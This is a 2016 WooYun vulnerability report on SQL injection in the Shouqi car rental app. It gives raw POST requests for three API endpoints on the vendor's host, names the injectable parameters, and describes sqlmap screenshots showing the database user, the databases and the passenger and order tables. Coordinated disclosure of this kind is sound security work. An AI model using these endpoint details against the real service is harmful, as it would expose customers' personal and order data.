当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0168576

漏洞标题:首汽租车官方APP多处SQL注入(含24W+乘客数据/9W+订单数据)

相关厂商:首汽租车

漏洞作者: 路人甲

提交时间:2016-01-09 00:01

修复时间:2016-02-22 16:48

公开时间:2016-02-22 16:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-09: 细节已通知厂商并且等待厂商处理中
2016-01-11: 厂商已经确认,细节仅向厂商公开
2016-01-21: 细节向核心白帽子及相关领域专家公开
2016-01-31: 细节向普通白帽子公开
2016-02-10: 细节向实习白帽子公开
2016-02-22: 细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:首汽租车官方APP
检测发现以下地方存在SQL注入:
一、POST中checkCode/mobile,报错注入/Union Qurey

POST http://yingzhang.izuche.com:8087/CustomersJson.asmx/GetVerifyCheckCode HTTP/1.1
Content-Length: 45
Content-Type: application/x-www-form-urlencoded
Host: yingzhang.izuche.com:8087
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; ZTE Grand S Build/JZO54K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip
mobile=13888888888&reserved=&checkCode=177012


二、POST中mobile,报错注入/Union Qurey

POST http://yingzhang.izuche.com:8087/CustomersJson.asmx/AppLogin HTTP/1.1
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
Host: yingzhang.izuche.com:8087
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; ZTE Grand S Build/JZO54K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip
mobile=13888888888&password=123456&reserved=


三、POST中mobile,报错注入/Union Qurey

POST http://yingzhang.izuche.com:8087/CustomersJson.asmx/Register HTTP/1.1
Content-Length: 64
Content-Type: application/x-www-form-urlencoded
Host: yingzhang.izuche.com:8087
Connection: Keep-Alive
User-Agent: Mozilla/5.0 (Linux; U; Android 4.1.2; zh-cn; ZTE Grand S Build/JZO54K) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip
mobile=13888888888&password=123456&name=13888888888&reserved=


漏洞证明:

1、SQLMap漏洞证明

sqlmap.jpg


2、列出当前数据库用户

user.jpg


3、列出所有数据库

dbs.jpg


4、列出当前库数据表,共264个,另外发现乘客数据表及订单表,具体就不深入了~

tb.jpg


tb2.jpg


tb3.jpg

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-01-11 09:16

厂商回复:

感谢您的反馈,我们正在进行处理。

最新状态:

暂无